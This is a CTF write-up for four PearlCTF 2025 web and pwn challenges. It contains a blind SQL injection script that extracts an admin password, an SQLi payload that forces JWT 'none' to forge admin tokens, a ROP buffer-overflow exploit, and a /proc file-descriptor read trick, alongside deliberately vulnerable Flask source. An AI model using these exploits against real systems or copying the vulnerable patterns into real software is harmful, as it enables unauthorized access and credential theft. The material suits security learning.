PearlCTF 2025
Solutions for Fortune Crumbs (Web), Quote (Web), Treasure Hunt (Pwn), and Readme (Pwn). Fortune Crumbs is a blind SQL injection challenge to steal the admin's password. Quote is an SQL injection challenge, where you'll use the SQLi to register a user with the JWT algorithm set to 'none' to craft a JWT as admin. Treasure Hunt is a standard buffer overflow challenge, and Readme involves abusing Linux file descriptors to read the flag.
Fortune Crumbs (Web)
/request checks the auth_token
cookie, if you try fuzzing this eventually you’ll get a different response mentioning a flag. If you use a conditional check like AND 1=1
, it doesn’t work but OR 1=1
and OR 1=2
works
We’ll use a conditional OR 1= <if true then return 1 else return 2
for doing conditionals, and if the subquery is false the query will crash the server response.
We don’t know what database this is being used, but we can guess that it’s mysql or postgres from intuition since they’re open source and more likely to show up on a CTF.
' or 1=if(ASCII(LOWER(SUBSTR(version(),1,1)))=52, 1, 2)#
didn’t work, but ' OR 1= (SELECT CASE WHEN (2=2) THEN 2 ELSE 1 END)#
works so this confirms it’s postgres
I tried to get the auth token for the admin using OR 1=1 LIMIT 1 OFFSET <offset>
but this didn’t work. You do get a different response this time at the 16th auth token, “You already have the flag”. I moved on from trying to get a valid token since this approach seemed like a rabbit hole.
Then, I did some enumeration to find info for extracting the admin user’s password:
- We can get table names from
information_table.tables
. Here, we can make an educated guess that the table name is going to beusers
to speed things up. Here’s the query to confirm it' OR 1= (SELECT CASE WHEN (SELECT SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0), 1, 5) = 'users') THEN 2 ELSE 1 END)#
- We can get the column names with
information_schema.columns
. Again, you can make an educated guess that there will be apassword
column in theusers
table, but it’s good to confirm it for sanity check, in case they used a different column name. Here’s the query:' OR 1=(SELECT CASE WHEN (SELECT SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0), 1, 8) = 'username') THEN 2 ELSE 1 END)#
. The password column is returned at offset 0. - With this information, we can now extract the admin’s password character by character. Luckily for us, the password is stored in plaintext which makes our job a lot easier. We can confirm this by extracting our own user’s password with
' OR 1=(SELECT CASE WHEN (SELECT SUBSTR((SELECT password FROM users WHERE username='benkyou' LIMIT 1), 1, 1) = 'p') THEN 2 ELSE 1 END)#
- We also need to know the password’s length so that we know when to terminate.
' OR 1 = (SELECT CASE WHEN LENGTH((SELECT password FROM users WHERE username='admin' LIMIT 1)) = 12 THEN 2 ELSE 1 END) #
. The password length is 12.
Here’s the solution script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
url = "https://fortune-crumbs.ctf.pearlctf.in/request"
charset = string.ascii_letters + string.digits + string.punctuation
password = ""
for i in range(12):
for char in charset:
headers = {
"Cookie": f"auth_token=' OR 1=(SELECT CASE WHEN (SELECT SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 1), {i+1}, 1) = '{char}') THEN 2 ELSE 1 END)#"
}
print(headers)
response = requests.get(url, headers=headers, allow_redirects=False)
if response.status_code == 302:
password += char
print(f"password: {password}")
break
print(f"final password: {password}")
When you login with the admin’s account, you’ll see the flag.
Flag: pearl{c00k13s_4r3n’t_just_f0r_34t1ng_huh?}
Quote (Web)
Source code is provided for this challenge. Here’s the challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import jwt
import bcrypt
from os import urandom
from sqlalchemy.sql import text
from flask_sqlalchemy import SQLAlchemy
from flask import Flask, request, render_template, redirect, url_for
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['JWT_SECRET'] = urandom(16).hex()
app.config['FLAG'] = open('flag.txt').read()
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password_hash = db.Column(db.String(120), nullable=False)
jwt_algorithm = db.Column(db.String(10), nullable=False)
def set_password(self, password):
self.password_hash = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')
def check_password(self, password):
return bcrypt.checkpw(password.encode('utf-8'), self.password_hash.encode('utf-8'))
def init_db():
with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
#test_user = User(username='admin')
#test_user.set_password(urandom(16).hex())
#db.session.add(test_user)
db.session.commit()
def create_access_token(user, algorithm='HS256', admin=False):
try:
token = jwt.encode({"user": user, "admin": admin}, app.config['JWT_SECRET'], algorithm=algorithm)
except:
return None
return token
def decode_access_token(token):
try:
user_data = jwt.decode(token, options={"verify_signature": False})
user = user_data['user']
algorithm = User.query.filter_by(username=user).first().jwt_algorithm
if algorithm == 'HS256':
user_data = jwt.decode(token, app.config['JWT_SECRET'], algorithms=[algorithm])
elif algorithm == 'none':
user_data = jwt.decode(token, options={'verify_signature': False}, algorithms=[algorithm])
else:
user_data = jwt.decode(token, algorithms=[algorithm])
except:
return None
return user_data
@app.route('/')
def home():
return redirect(url_for('login_page'))
@app.route('/login', methods=['GET', 'POST'])
def login_page():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
rows = User.query.filter_by(username=username)
count = rows.count()
user = rows.first()
if count == 1 and user.check_password(password):
algorithm = User.query.filter_by(username=user.username).first().jwt_algorithm
access_token = create_access_token(username,algorithm=algorithm,admin=username=='admin')
if access_token is None:
return render_template('login.html', error="There was an unexpected error with your login, please try again")
response = redirect(url_for('profile'))
response.set_cookie('access_token', access_token)
return response
return render_template('login.html', error="Invalid credentials")
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if "admin" in username.lower():
return render_template('register.html', error="Huuh no admin registering for you.")
user = User.query.filter_by(username=username).count()
if not user:
try:
db.session.execute(text(f'INSERT INTO User (username, password_hash, jwt_algorithm) VALUES ("{username}", "{bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")}", "HS256")'))
db.session.commit()
except:
return render_template('register.html', error="Database error")
response = redirect(url_for('login_page'))
return response
return render_template('register.html', error="User already exists")
return render_template('register.html')
@app.route('/profile')
def profile():
if 'access_token' in request.cookies:
user_jwt = request.cookies['access_token']
user_data = decode_access_token(user_jwt)
if user_data is None:
return render_template('profile.html', error="Error validating token")
if 'user' in user_data and 'admin' in user_data and user_data['admin']:
return render_template('profile.html', username=user_data['user'], flag=app.config['FLAG'])
elif 'user' in user_data:
return render_template('profile.html', username=user_data['user'])
return redirect(url_for('login_page'))
@app.route('/logout')
def logout():
response = redirect(url_for('login_page'))
response.set_cookie('access_token', '', expires=0)
return response
if __name__ == '__main__':
init_db()
app.run(host='0.0.0.0')
You can register an account, and if user is the admin, you’ll get the flag when you visit /profile. So, the goal of this challenge is to find a way to impersonate as the admin.
If the JWT algorithm is set to ‘none’, then the application doesn’t verify the JWT’s signature. Then, we can just the admin
attribute to true to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def decode_access_token(token):
try:
user_data = jwt.decode(token, options={"verify_signature": False})
user = user_data['user']
algorithm = User.query.filter_by(username=user).first().jwt_algorithm
if algorithm == 'HS256':
user_data = jwt.decode(token, app.config['JWT_SECRET'], algorithms=[algorithm])
elif algorithm == 'none':
user_data = jwt.decode(token, options={'verify_signature': False}, algorithms=[algorithm])
else:
user_data = jwt.decode(token, algorithms=[algorithm])
except:
return None
return user_data
This doesn’t exactly work because the algorithm used for the JWT is stored with the user’s information in the database when they first register. However, there is an SQL injection in in register()
.
1
2
3
4
5
6
7
@app.route('/register', methods=['GET', 'POST'])
def register():
...[SNIP]...
try:
db.session.execute(text(f'INSERT INTO User (username, password_hash, jwt_algorithm) VALUES ("{username}", "{bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")}", "HS256")'))
db.session.commit()
...[SNIP]...
We can terminate the username early then insert our own hash into the table. The hash doesn’t really matter in the case, as long as the algorithm is set to “none”. When this user is inserted into the table, we can craft our own JWT.
1
test1", "", "none")--
Then, craft a JWT with the admin
attribute set to true and algorithm set to none
. Visit /profile to grab the flag.
Treasure Hunt (Pwn)
1
2
3
4
5
6
7
8
root@4453aeb86821:/ctf/treasurehunt# checksec vuln
[*] '/ctf/treasurehunt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
The challenge prompts us for a password before we can proceed to the next level.
Let’s look at the decompiled code.
main()
makes a series of calls which repremoves to the next level.
1
2
3
4
5
6
7
8
9
10
int32_t main(int32_t argc, char** argv, char** envp)
setup()
puts(str: "Welcome, traveler! Your quest fo…")
enchanted_forest()
desert_of_sands()
ruins_of_eldoria()
caverns_of_eternal_darkness()
chamber_of_eternity()
return 0
The first 4 functions are similar, let’s look at enchanted_forest()
. We proceed to the next level if check_key()
returns true.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int64_t enchanted_forest()
puts(str: "\nLevel 1: The Enchanted Forest")
puts(str: "Towering trees weave a dense can…")
puts(str: "The spirits whisper secrets amon…")
printf(format: "Enter the mystery key to proceed…")
void var_48
__isoc99_scanf(format: "%49s", &var_48)
if (check_key(0, &var_48) == 1)
return puts(str: "Correct! You have passed The Enc…")
puts(str: "Wrong key! You are lost in the E…")
exit(status: 0)
noreturn
check_key()
just does a strcmp
of our input with a list of hardcoded strings. These are the keys for each level.
1
2
3
4
5
6
7
8
9
10
int32_t check_key(int32_t arg1, char* arg2)
char const* const var_38 = "whisp3ring_w00ds"
char const* const var_30 = "sc0rching_dunes"
char const* const var_28 = "eldorian_ech0"
char const* const var_20 = "shadow_4byss"
char const* const var_18 = "3ternal_light"
int32_t result
result.b = strcmp(arg2, (&var_38)[sx.q(arg1)]) == 0
return result
At level 5, chamber_of_eternity()
reads in 500 characters with fgets()
which lets us do a buffer overflow.
1
2
3
4
5
6
7
8
9
10
int64_t chamber_of_eternity()
puts(str: "\nLevel 5: The Chamber of Eterni…")
puts(str: "A vast chamber bathed in celesti…")
puts(str: "A single light illuminates the K…")
printf(format: "You are worthy of the final trea…")
getchar()
void buf
fgets(&buf, n: 0x1f4, fp: stdin)
return puts(str: "GGs")
We can use the buffer overflow to return to winTreasure()
to get the flag. We also need to make sure that eligible
is true, which is set by setEligibility()
. I used a ROP chain to solve this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
elf = ELF("./vuln")
context.binary = elf
context.log_level = 'debug'
io = elf.process()
#io = remote("treasure-hunt.ctf.pearlctf.in", 30008)
io.sendlineafter(b"Enter the mystery key to proceed:", b"whisp3ring_w00ds")
io.sendlineafter(b"Enter the mystery key to proceed:", b"sc0rching_dunes")
io.sendlineafter(b"Enter the mystery key to proceed:", b"eldorian_ech0")
io.sendlineafter(b"Enter the mystery key to proceed:", b"shadow_4byss")
# io.sendline(cyclic(200, n=8))
# io.wait()
# core = io.corefile
# print(cyclic_find(core.read(core.rsp, 8), n=8))
# offset 72
rop = ROP(elf)
rop.raw("A"*72)
rop.setEligibility()
rop.winTreasure()
io.sendlineafter(b"enter the final key for the win:-", rop.chain())
io.interactive()
Flag: pearl{k33p_0n_r3turning_l0l}
Readme (Pwn)
1
2
3
4
5
6
7
8
9
10
(ctfvenv) benkyou@fedora:~/Dev/readme_src$ checksec main
[*] '/home/benkyou/Dev/readme_src/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
The challenge lets us enter a filename to read, and outputs the content to us. If the filename contains flag.txt
, it prompts us for a password.
Let’s look at the decompiled code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int32_t main(int32_t argc, char** argv, char** envp)
void* fsbase
int64_t rax = *(fsbase + 0x28)
void password
generate_password(&password, 0x7f)
printf(format: "Welcome to file reading service!")
fflush(fp: __TMC_END__)
for (int32_t i = 0; i s<= 1; i += 1)
printf(format: "\nEnter the file name: ")
fflush(fp: __TMC_END__)
void filename
__isoc99_scanf(format: "%s", &filename)
char* filebasename = __xpg_basename(&filename)
FILE* fp = fopen(&filename, mode: U"r")
if (fp != 0)
int32_t isFlag = strcmp(filebasename, "flag.txt")
void buf
int32_t passwordCheck
if (isFlag == 0)
printf(format: "Enter password: ")
fflush(fp: __TMC_END__)
__isoc99_scanf(format: "%s", &buf)
passwordCheck = strcmp(&buf, &password)
if (isFlag != 0 || passwordCheck == 0)
while (fgets(&buf, n: 0x64, fp) != 0)
printf(format: "%s", &buf)
fflush(fp: __TMC_END__)
fclose(fp)
else
puts(str: "Incorrect password!")
fflush(fp: __TMC_END__)
else
puts(str: "Please don't try anything funny!")
fflush(fp: __TMC_END__)
if (rax == *(fsbase + 0x28))
return 0
__stack_chk_fail()
noreturn
The password is being generated from /dev/urandom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
char* generate_password(int64_t arg1, uint64_t arg2)
int32_t fd = open(file: "/dev/urandom", oflag: 0)
if (fd s< 0)
perror(s: "Failed to open /dev/urandom")
exit(status: 1)
noreturn
if (read(fd, buf: arg1, nbytes: arg2) != arg2)
perror(s: "Failed to read random bytes")
close(fd)
exit(status: 1)
noreturn
close(fd)
for (void* i = nullptr; i u< arg2; i += 1)
*(i + arg1) = *(i + arg1) s% 0x5e + 0x21
char* result = arg2 + arg1
*result = 0
return result
But in this block, the file never gets to read to the output even if you pass the password check, and if the file being read is flag.txt
, it would fail the second if block as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (fp != 0)
int32_t isFlag = strcmp(filebasename, "flag.txt")
void buf
int32_t passwordCheck
if (isFlag == 0)
printf(format: "Enter password: ")
fflush(fp: __TMC_END__)
__isoc99_scanf(format: "%s", &buf)
passwordCheck = strcmp(&buf, &password)
if (isFlag != 0 || passwordCheck == 0)
while (fgets(&buf, n: 0x64, fp) != 0)
printf(format: "%s", &buf)
fflush(fp: __TMC_END__)
If we read /etc/passwd
from the challenge instance, there is only the root user. This allows us to have permissions for the next step.
The trick here is in how file descriptors are created. Because the program calls fopen()
with our filename, this allocates a new file descriptor as it eventually makes a call to open()
. Recall that the program lets us read 2 files as long as we don’t enter the password check (when flag.txt
is in the filename). We can abuse this by opening another session to read from the file descriptor allocated to files/flag.txt
to grab the flag.
To solve:
- Get the correct pid by reading from
/proc/self/status
. - Read from
files/flag.txt
, this will enter the password check but don’t enter anything. - Open another session and read from
/proc/<pid>/fd/3
to get the flag. We read from file descriptor 3 as its usually the first file descriptor that gets returned when a new file descriptor is allocated.
Flag: pearl{f1l3_d3script0rs_4r3_c00l}